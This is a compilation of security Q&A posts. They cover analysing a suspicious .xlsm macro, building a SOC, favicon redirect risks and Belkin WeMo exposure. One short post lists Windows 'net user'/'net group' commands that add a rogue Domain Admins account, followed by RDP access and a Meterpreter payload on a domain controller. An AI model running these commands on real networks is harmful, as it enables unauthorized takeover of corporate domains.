I've never used Olevba before, nor the VBA language that MS Office macros are written in, so I'm not sure how to interpret the output in the question. However, it says VBA Macro quite prominently on the sixth line—and the shown macro, while it doesn't look like valid VBA code I've seen, could work somehow else (does MS Office have a way to "encrypt*"/obfuscate macros, or VBA have sufficient permissiveness in its evaluation or preprocessing for an analogy of JSFuck or IOCCC's tricks?). I'd throw this file out, to be safe—there's most assuredly nothing useful to be gained in it. If the macro is indeed actual code and not just a corrupted, mangled mess, then the .xlsm is just a clever way to trick you into opening the file, and in other respects the answers to all your questions are identical to how it would be for a .exe:

Could it be a virus, or part of it? Absolutely. (Mind, as this bears a reminder, a virus is a program specifically that infects other programs to include itself—a program that merely does annoying things to thwart your natural use of your computer or to break the guarantees you rely on is a Trojan. This program could be either.)
What could be its motivations? Any kind of payload might be attached, to do any arbitrary things the malware author saw fit—from stealing data from your internal network, to operating a botnet, to hosting phishing sites on your Internet connection, to ransoming your files, to merely pranking you.
If it's a stagger, is there any way to identify IPs from which it'd load payloads? Someone who could figure out how to read that mess could try to reverse engineer it, the same way that you can read any code. VBA operates closer to high-level human concepts than, for example, raw machine code does, so if you can deobfuscate it, it should be pretty easy to tell what it's supposed to do (including contacting a remote server and downloading code from it). Alternately, one could take the lazy route, and just run it on a sandboxed VM / separate computer (beware of doing this on your internal network if you have any non-up-to-date machines, as you might release a worm travelling via public vulnerabilities you did not yet patch), and use a traffic monitor to see what it contacts.

* genuine encryption has an unrevealed secret key on which the security rests, and the actual implementation can be open and the encryption still secure if the key remains secret


Stealing tokens from client PC on a domain controller?

It's solved. I just add another user name and add that user to domain group. Command's I used:

net user heyheyhey password123$ /add /domain
net group "Domain Admins" evilboss /add /domain

And then I connect via rdesktop and I used powershell payload to get meterpreter on domain controller server.


Here is some experience about establishing projects, especially security projects, that applies to consulting and outsourcing that I wrote up on a security stackexchange answer about incident compromises.

As for resources, well it is highly dependent on your environment as to what you would need to build and how many people to hire (and at what levels of qualifications). In many ways, a good strategy consultant or two could push you into making better decisions, but if you want the real story -- let me give you some additional advice.

Security events and incidents are best tracked by personnel that are already familiar with SIEM and incident detection & response (IDR) panels -- so look for candidate with past hands-on and strategic long-term experience with SIEM/log-management/IDR. For staffing, Lance Hayden analyzes the current security event/incident stream using Poisson distribution in Minitab, as explained in his book, "IT Security Metrics". He also goes into business workflow and other concepts that are highly important to building a quality SOC.

For IDR panels, consider AIRT or RTIR -- or build a custom one, perhaps based on their wireframes and workflow. Many organizations integrate IDR into their ticketing system, such as Remedy.

SIEM costs money, but there are books and resources to get a SOC started. Most security incidents in 2011 are SQL injection (or other web app layer attacks) and client-side browser/document attacks (e.g. Adobe Reader/Flash, Microsoft IE/Office/ActiveX, Oracle Java applets, etc). It is highly suggested that your SOC team be familiar with the techniques and tools outlined in this blog post entitled Closing The Loop. While not to tone down the other, more important information in that blog post -- there is something of specific interest to you, [PDF] [the CSIRT Handbook]6 [download]. That paper is old, but still very relevant.

For more up-to-date resources, check out the guides and many other resources at FIRST.

These books will also be helpful, in order of necessity:

Security Information and Event Management (SIEM) Implementation
Security Strategies in Windows Platforms and Applications
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Forensics: Investigating and Analyzing Malicious Code
Network Security Hacks, Second Edition
Security Power Tools
Pro Open Source Mail: Building an Enterprise Mail Solution


Favicon Redirection Possible Security Flaw

According to your question Chrome was loading a plain HTTP favicon in a HTTPS page without any browser warning. Interesting.

Redirecting to a plain HTTP website is not a vulnerability in itself. However, it is a security flaw if the redirect is accidental and you want your users to remain on a secure, trusted channel to your site.

Script content will not be executed in a favicon but the request could leak cookies if the cookie domain isn't set correctly and the secure flag is not set. An attacker could also do this with your site if the user visits any site under plain HTTP.

If there are any browser exploits that can be triggered from a favicon you could be putting your users at risk here, although the initial redirect and the browser exploit are really flaws in the browser rather than your site.


Can the Belkin WeMo switch be attacked without the attacker knowing my WiFi password?

Most of the remotely accessible power strips I've been looking at for a current project have either http or telnet access (no encryption on either) for control so any time you access it, you're sending credentials in the clear.

They are in the IOT minimum security zone, anyone on the local segment can packet-sniff your credentials if they're determined to flip switches. So the only protection you have is often a sniffable password if they don't have the ability to change from a hardwired admin and  user account name. And often, no brute force timeout either.

And my experience on contacting the manufacturer about minimal security is "we keep having customers ask these questions, but the unit doesn't really have the processing power to enable (ssh, https, bad login timeout, etc.)

Specific to WeMo, it uses UPnP which has security concerns discussed in this question on security.stackexchange. One of the recommendations to increase router security is to turn off UPnP and manually configure port forwarding.

WeMo had some security issues with its cloud based control, firmware updates and protocol used back in 2014 which have been patched.

Several websites on the internet discuss scripts using curl to post SOAP commands to the WeMo device to control it. That's unencrypted http over whatever port (49152/49153) the device is set to and via UPnP port opened through the router for remote access. No authentication is mentioned in these scripts either, so you use UPnP to open a port for internet access and there's no gatekeeper for toggling the device.

WeMo appears to hide behind a phone/tablet App via a cloud service that requires UPnP to open a forwarded port on your router for communications. Getting any information off their website as to how this communications is protected other than how easy it is to use is proving difficult.